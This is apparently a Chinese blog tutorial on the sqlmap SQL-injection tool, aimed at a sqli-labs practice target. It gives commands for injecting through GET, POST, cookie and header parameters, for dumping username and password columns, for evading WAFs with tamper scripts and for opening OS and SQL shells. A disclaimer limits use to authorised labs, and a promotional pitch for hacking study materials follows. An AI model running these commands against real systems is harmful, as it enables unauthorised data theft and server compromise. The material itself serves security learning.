目录

Sqlmap 是一款自动化 SQL 注入神器,用于 SQL 注入漏洞的检测和利用,支持多种数据库。
检测位置常用参数
-u -- 指定url(GET请求)
-p -- 指定参数(url包含多个参数时,指定参数)
--data= -- 指定POST请求参数
--cookie -- 指定cookie参数
-r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)
获取数据相关参数
--dbs -- 获取数据库名
--tables -- 获取表名
--columns -- 获取字段名
--dump -- 获取数据
-D -- 指定数据库
-T -- 指定表
-C -- 指定字段
其他设置参数
--batch -- 自动化确认,跳过交互询问
--tamper -- 指定脚本,用于WAF绕过
--dbms -- 指定数据库类型
--os -- 指定操作系统(windows/linux)
--level -- 指定探测等级(1~5),等级越高检测越全面,速度越慢
--current-db -- 获取当前数据库的名字
-b -- 获取数据库版本信息
-f -- 获取数据库指纹
--users -- 获取数据库所有用户
--delay -- 设置请求延时,防止请求过快被拦截
--technique -- 指定注入方式
U 联合注入
E 报错注入
B 布尔盲注
T 时间盲注
针对不同的注入位置实操示例
GET 请求注入
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1
POST 请求注入
sqlmap -u http://192.168.40.129/sqli/Less-11/ --data="uname=lisi"
COOKIE 注入
sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs
HTTP 请求头注入 (User‑agent/Referer/Cookie 等 HTTP Header)
拦截 get、post 等 HTTP 请求,将所有请求内容复制到 target.vm 文件中,**在需要检测的 Header 后面加上 ***,该场景探测level>=3。
sqlmap -r target.vm --level 3 --dbs
实战获取数据完整命令示例
获取所有数据库
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch --dbs
获取指定数据库中的所有表
sqlmap -u http://192.168.40.129/sqli/Less-1/?id=1 --batch -D security --tables
获取指定数据库中指定表的所有字段
sqlmap -u http:xxx/?id=1 --batch -D security -T users --columns
获取指定数据库中指定表中指定字段的所有数据
sqlmap -u xxx/?id=1 --batch -D security -T users -C username,password --dump
HTTP Header 头注入操作步骤
- 拦截 post 请求信息,并将请求信息的全部内容复制到文件中。
- 在需要检测的 Header 位置添加
*标记注入点。 - 使用 SQLmap 对保存的请求文件进行检测,SQLmap 会识别标记
*,针对该 Header 位置做注入测试。

补充常用高级用法
1、tamper 绕过脚本使用
当目标部署 WAF,关键字、符号被拦截时,可以使用 tamper 脚本进行绕过,多个脚本用逗号隔开。
sqlmap -u "xxx/?id=1" --tamper=space2comment,charencode
2、获取 shell 权限
获取交互式操作系统 shell(仅数据库账号拥有高权限才支持)
sqlmap -u "xxx/?id=1" --os-shell
获取 SQL 查询 shell
sqlmap -u "xxx/?id=1" --sql-shell
3、导出保存 dump 数据
--dump会把查询的数据自动保存到本地 sqlmap 输出目录;如果只想导出指定部分数据,可以搭配--where添加查询条件。
4、过滤伪漏洞
部分网站会统一返回相同页面,容易产生误报,可以使用--random-agent随机请求头,--proxy配置代理,减少误判。
常见问题
- 扫描速度很慢:调高
--delay增加延时,降低--level等级;盲注本身耗时会远高于联合、报错注入。 - 注入识别失败:确认注入点标记
*位置正确,header 注入务必设置level≥3。 - WAF 拦截请求:添加 tamper 绕过脚本,降低请求速率,不要短时间大量发包。
总结
sqlmap 极大简化了 SQL 注入的检测和利用工作,但工具不是万能的,会存在误报、漏报、WAF 拦截的情况。
需要理解各类注入原理,看懂工具输出,结合手工注入验证结果。只能在自己授权的靶场环境使用,严禁对未授权网站扫描测试。
免责声明:本文技术仅供网络安全学习、靶场练习,未授权的渗透测试属于违法行为,请遵守网络安全相关法律法规。
如何系统学习网络安全?
网络安全作为数字时代的核心技术基石,已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线,掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。
构建稳固的网络安全能力是一个体系的工程,需要从夯实基础理论出发,持续深化到攻防对抗与应急响应的实战层面。
如果你是准备学习网络安全(黑客)或者正在学习,我可以把我自用的360独家内部资料分享给你,包含以下内容你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

7234



被折叠的 条评论
为什么被折叠?



